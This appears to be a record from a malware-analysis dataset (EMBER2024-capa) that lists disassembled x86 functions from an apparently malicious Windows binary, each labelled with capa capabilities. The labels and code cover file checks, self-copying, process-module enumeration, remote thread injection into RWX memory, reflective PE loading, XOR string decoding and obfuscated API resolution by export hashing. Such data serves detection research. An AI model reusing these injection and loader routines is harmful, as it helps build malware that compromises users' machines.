joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403b2d
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push edi
mov edi, str.C:34e2ed3c7e58ea92.exe
push edi
xor ebx, ebx
call esi
test eax, eax
je 0x403b9c
push 0x14
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x403b6c
push 0x81
push 0x12
mov edx, 0x40a9f0
call fcn.00404340
push edi
push eax
lea eax, [ebp - 0x104]
push 0x104
push eax
call sub.ntdll.dll__snprintf
add esp, 0x10
lea eax, [ebp - 0x104]
push eax
call esi
test eax, eax
je 0x403b9c
lea edi, [ebp - 0x104]
call fcn.0040384c
mov ebx, eax
mov eax, ebx
lea esp, [ebp - 0x110]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403c35
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
xor ebx, ebx
xor esi, esi
cmp edi, ebx
je 0x403d18
push edi
push ebx
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x403d18
push 4
pop eax
call sub.ntdll.dll__alloca_probe
mov esi, esp
cmp esi, ebx
je 0x403c81
push 0x82
push 2
mov eax, esi
mov edx, 0x40aa5c
call fcn.00404340
push 0xffffffffffffffff
call fcn.00404796
push eax
push esi
lea eax, [ebp - 0x104]
push 0x104
push eax
call sub.ntdll.dll__snprintf
lea eax, [ebp - 0x104]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403ca7
sub eax, edx
cmp eax, 6
jb 0x403c81
cmp byte [ebp - 0x104], bl
je 0x403ce1
lea ecx, [ebp - 0x104]
movsx eax, byte [ecx]
lea edx, [eax - 0x30]
and edx, 0x80000001
jns 0x403cd6
dec edx
or edx, 0xfffffffe
inc edx
je 0x403cdc
add al, 0x31
mov byte [ecx], al
inc ecx
cmp byte [ecx], bl
jne 0x403cc3
lea eax, [ebp - 0x104]
push eax
push edi
call fcn.00404539
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x403d0d
push 0x92
push 4
mov edx, 0x40a62c
call fcn.00404340
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionA]
xor esi, esi
inc esi
mov eax, esi
lea esp, [ebp - 0x10c]
pop esi
pop ebx
leave
ret

Function at 0x403d24
Capabilities:
Access pe header
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push edi
xor edi, edi
and dword [ebp - 4], edi
cmp dword [ebp + 8], edi
je 0x403dae
push esi
push 0x104
lea eax, [ebp - 0x108]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.004035af
mov esi, eax
test esi, esi
je 0x403d90
cmp dword [ebp - 4], edi
je 0x403d90
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov edi, eax
test edi, edi
je 0x403d90
push 0xffffffffffffffff
call fcn.00404796
push esi
push dword [ebp + 8]
mov dword [edi + 0x58], eax
mov eax, dword [ebp - 4]
call fcn.004037e2
mov edi, eax
test edi, edi
jne 0x403da4
push 1
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, eax
test esi, esi
je 0x403dad
call fcn.00404762
pop esi
mov eax, edi
pop edi
leave
ret 4
Function at 0x403eef
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
xor eax, eax
push 0x220
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x224]
push eax
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push dword [ebp + 8]
push 8
pop edi
push edi
call esi
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x403f59
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x18
jne 0x403fec
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push dword [ebp + 8]
push edi
call esi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40400b
lea eax, [ebp - 0x228]
push eax
push ebx
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x404000
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp + 8], eax
test eax, eax
je 0x403f9a
push 0x8c
push 6
mov edx, 0x40a68c
call fcn.00404340
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x403fba
push 0x81
push 4
mov eax, edi
mov edx, 0x40a628
call fcn.00404340
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call esi
test eax, eax
je 0x403fd8
push edi
push eax
call esi
test eax, eax
jne 0x403ff9
lea eax, [ebp - 0x228]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x403fc0
jmp 0x404000
call ebx
cmp eax, 0x12b
je 0x40400b
call ebx
jmp 0x40400b
mov dword [ebp - 4], 1
cmp ebx, 0xffffffff
je 0x40400b
push ebx
call fcn.00402796
mov eax, dword [ebp - 4]
lea esp, [ebp - 0x234]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x404047
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor esi, esi
push edi
mov ebx, eax
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ecx, ecx
cmp ebx, eax
sete cl
mov dword [ebp - 4], esi
mov dword [ebp - 8], ecx
cmp ebx, esi
je 0x40420c
mov edi, dword [ebp + 8]
cmp edi, esi
je 0x40420c
cmp dword [ebp + 0xc], esi
je 0x40420c
cmp ecx, esi
jne 0x4040bd
call fcn.00402344
test eax, eax
je 0x4040a0
call fcn.00402344
test eax, eax
je 0x404220
push ebx
push 0x10043a
call fcn.004023cc
mov dword [ebp - 4], eax
cmp eax, esi
jne 0x4040c5
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40420c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x4040ab
cmp dword [ebp - 8], esi
jne 0x4040e8
push 0x2710
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push dword [ebp - 4]
call fcn.0040401b
test eax, eax
jne 0x404212
push ebx
call fcn.00403eef
test eax, eax
jne 0x404100
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x4040e8
push ebx
call fcn.00403eef
test eax, eax
je 0x40420c
mov esi, dword [edi + 0x3c]
add esi, edi
mov eax, dword [esi + 0x50]
test eax, eax
je 0x40420c
add eax, dword [ebp + 0xc]
push 4
push 0x3000
push eax
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x40420c
mov eax, dword [esi + 0x54]
push edi
push ebx
push dword [ebp - 4]
call fcn.00403e95
movzx eax, word [esi + 0x14]
and dword [ebp - 0x10], 0
xor ecx, ecx
lea eax, [eax + esi + 0x18]
cmp cx, word [esi + 6]
jae 0x40418b
lea edi, [eax + 0x14]
mov eax, dword [edi]
add eax, dword [ebp + 8]
push eax
mov eax, dword [edi - 8]
add eax, ebx
push eax
push dword [ebp - 4]
mov eax, dword [edi - 4]
call fcn.00403e95
movzx eax, word [esi + 6]
add edi, 0x28
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jl 0x404162
mov edi, dword [ebp + 8]
mov eax, dword [esi + 0x50]
push edi
add eax, ebx
push eax
push dword [ebp - 4]
mov eax, dword [ebp + 0xc]
call fcn.00403e95
mov edi, dword [esi + 0x28]
lea eax, [ebp - 0x14]
push eax
push 0x40
push dword [esi + 0x50]
xor edi, 0x31337
push ebx
add edi, ebx
mov ebx, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor esi, esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
cmp dword [ebp - 8], esi
je 0x4041d4
push edi
call fcn.00402487
jmp 0x404205
push esi
push esi
push esi
push edi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, esi
je 0x4041f4
push eax
call fcn.00402796
mov dword [ebp - 0xc], 1
jmp 0x404212
push edi
push ebx
call fcn.00403db5
cmp eax, esi
je 0x404212
push eax
call fcn.00402796
mov dword [ebp - 0xc], 1
cmp dword [ebp - 8], 0
jne 0x404220
cmp dword [ebp - 4], 0
je 0x404220
push dword [ebp - 4]
call fcn.00402796
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40422a
Capabilities:
Access pe header
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x404339
cmp dword [ebp + 0xc], 0
je 0x404339
push ebx
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x404338
push 0x40
push 0x3000
push dword [ebx + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
mov dword [ebp + 0xc], edx
test edx, edx
je 0x404338
mov ecx, dword [ebx + 0x54]
and dword [ebp - 4], 0
push edi
mov edi, edx
rep movsb byte es:[edi], byte [esi]
movzx eax, word [ebx + 0x14]
xor ecx, ecx
lea eax, [eax + ebx + 0x2c]
cmp cx, word [ebx + 6]
jae 0x4042af
mov esi, dword [eax]
mov edi, dword [eax - 8]
add esi, dword [ebp + 8]
mov ecx, dword [eax - 4]
add edi, edx
rep movsb byte es:[edi], byte [esi]
movzx ecx, word [ebx + 6]
add eax, 0x28
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x404291
push edx
call fcn.0040324e
mov edi, dword [ebx + 0x80]
mov esi, edx
add edi, esi
jmp 0x404311
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov dword [ebp + 8], eax
test eax, eax
je 0x40430e
cmp dword [edi + 4], 0
je 0x4042db
mov esi, dword [edi]
jmp 0x4042de
mov esi, dword [edi + 0x10]
add esi, dword [ebp + 0xc]
cmp dword [esi], 0
je 0x40430b
mov eax, dword [esi]
test eax, eax
jns 0x4042f3
and eax, 0xffff
jmp 0x4042fa
mov ecx, dword [ebp + 0xc]
lea eax, [eax + ecx + 2]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
add esi, 4
jmp 0x4042e1
mov esi, dword [ebp + 0xc]
add edi, 0x14
mov eax, dword [edi + 0xc]
push 0
push 0
test eax, eax
jne 0x4042c1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, dword [ebx + 0x78]
mov eax, dword [eax + esi + 0x1c]
mov eax, dword [eax + esi]
add eax, esi
call eax
pop edi
pop ebx
xor eax, eax
pop esi
leave
ret 8
Function at 0x404340
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x404361
mov esi, edx
mov ecx, eax
sub esi, eax
mov edx, edi
mov bl, byte [esi + ecx]
xor bl, byte [ebp + 0xc]
mov byte [ecx], bl
inc ecx
dec edx
jne 0x404355
xor edx, edx
mov byte [edi + eax], dl
cmp edi, edx
jbe 0x4043f9
lea ebx, [edx + eax]
mov cl, byte [ebx]
cmp cl, 0x5c
jne 0x40439b
lea edi, [edx + eax + 1]
cmp byte [edi], cl
je 0x4043e4
cmp cl, cl
jne 0x40439b
lea edi, [edx + eax + 1]
cmp byte [edi], 0x72
jne 0x40439b
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
mov byte [ebx], 0xd
rep movsb byte es:[edi], byte [esi]
cmp byte [ebx], 0x5c
jne 0x4043ef
lea edi, [edx + eax + 1]
cmp byte [edi], 0x6e
jne 0x4043b7
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
mov byte [ebx], 0xa
rep movsb byte es:[edi], byte [esi]
cmp byte [ebx], 0x5c
jne 0x4043ef
lea edi, [edx + eax + 1]
cmp byte [edi], 0x74
jne 0x4043d3
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
mov byte [ebx], 9
rep movsb byte es:[edi], byte [esi]
cmp byte [ebx], 0x5c
jne 0x4043ef
lea edi, [edx + eax + 1]
cmp byte [edi], 0x22
jne 0x4043ef
mov byte [ebx], 0x22
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
rep movsb byte es:[edi], byte [esi]
inc edx
cmp edx, dword [ebp + 8]
jb 0x40436e
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x404e10
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x408270
sub eax, eax
test esi, esi
je 0x404ee8
sub eax, 1
test ecx, ecx
je 0x404ee6
test esi, 3
je 0x404e4e
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x404e33
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x404ecd
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x404e58
mov ecx, edx
test ecx, ecx
je 0x404ee6
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x404ed3
not eax
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x70bf24df
Capabilities:
Encode data using xor

Disassembly:
call 0x70bf2458
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x70bf2488
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x70bf24a4
xor edx, 0
jmp 0x70bf24af
xor edx, edx
jmp 0x70bf24c6
jmp 0x70bf24d2
xor eax, eax
push 0x8427d7c0
call 0x70bf24df
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x70bf251b
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x70bf24f4
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x70bf2532
add eax, 0
jno 0x70bf2537
add esi, 0
ret 0x10

Function at 0x70bf32a0
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x70bf32c2
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x70bf3464
cmp edi, dword [ebp + 0x10]
jb 0x70bf3464
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.70bf2d8c
inc edi
jmp 0x70bf334b
jmp 0x70bf3358
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.70bf2d8c
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.70bf2d8c
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x70bf33ac
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x70bf3390
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.70bf33da
add dword [eax], 0x39
jle 0x70bf33b6
sub al, 0xf5
mov ch, al
call fcn.70bf33ef
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x70bf50c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x70bf50dd
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x70bf50ee
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.70bf512f
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x70bf749b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x70bf73e4
add ebx, 0
push ecx
call 0x70bf73f9
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x7170b074
sub ebx, dword [0x7172a8b3]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x7172a8a3
call fcn.70bf2ec3
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.70bf23d1
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x70bf7557
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x70bf7557
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x70bf750e
mov eax, 1
lock xchg dword [0x7172a8af], eax
push 0x3dd1fc71
call 0x70bf749b
push esi
add esp, 8
cmp eax, 0
jne 0x70bf7484
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x70bf74aa
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x70bf74bf
cmp ecx, edx
cmp eax, 0
je 0x70bf74e4
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x70bf74ce
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.70bf74fd
dec eax
loope 0x70bf7500
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x7172a8af], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x70bf7534
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x70bf7549
jmp 0x70bf7554
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x70bf7442
Function at 0x70bfe5bc
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x70bfe892
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x71717527
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x7170e4ed
push 0xffffffffffffffff
call fcn.70bf57bc
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x70bfe626
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.70bfe63e
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x70bfe886
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x70bfe85a
Function at 0x70c0e08c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x70c0e0ae
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x70c0e0ae
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x70c0e0ae
ret
cmp word [ebx + 4], 0x14c
jne 0x70c0e0ae
test word [ebx + 0x16], 2
je 0x70c0e0ae
test word [ebx + 0x16], 0x100
je 0x70c0e0ae
cmp word [ebx + 0x18], 0x10b
jne 0x70c0e0ae
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x70c0e0ae
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x70c0e13a
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x70c0e0ce
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.70bf5019
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x70c0e0ae
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x70c0e13a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x70c0e0ae
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x70c0e0ae
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x70c0e0ae
ret
cmp word [ebx + 4], 0x14c
jne 0x70c0e0ae
test word [ebx + 0x16], 2
je 0x70c0e0ae
test word [ebx + 0x16], 0x100
je 0x70c0e0ae
cmp word [ebx + 0x18], 0x10b
jne 0x70c0e0ae
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x70c0e0ae
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x70c0e13a
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x70c0e0ce
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.70bf5019
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x70c0e0ae
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x70c0e1f1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x70c0e24a
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x70c0e1f1
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x70c0e200
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x71013ea3
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x70c0e251
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.70bf50c7
cmp eax, dword [ebp + 0xc]
pop eax
je 0x70c0e2f0
add edi, 4
add eax, 2
dec ecx
jne 0x70c0e236
call 0x70c0e29d
loope 0x70c0e293
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x70c0e2ed
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x70c0e2fe
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x70c0e2b1
cmp eax, ecx
ja 0x70c0e2b1
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x70c0e33b
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x70c0e331
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.70bf55a6
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]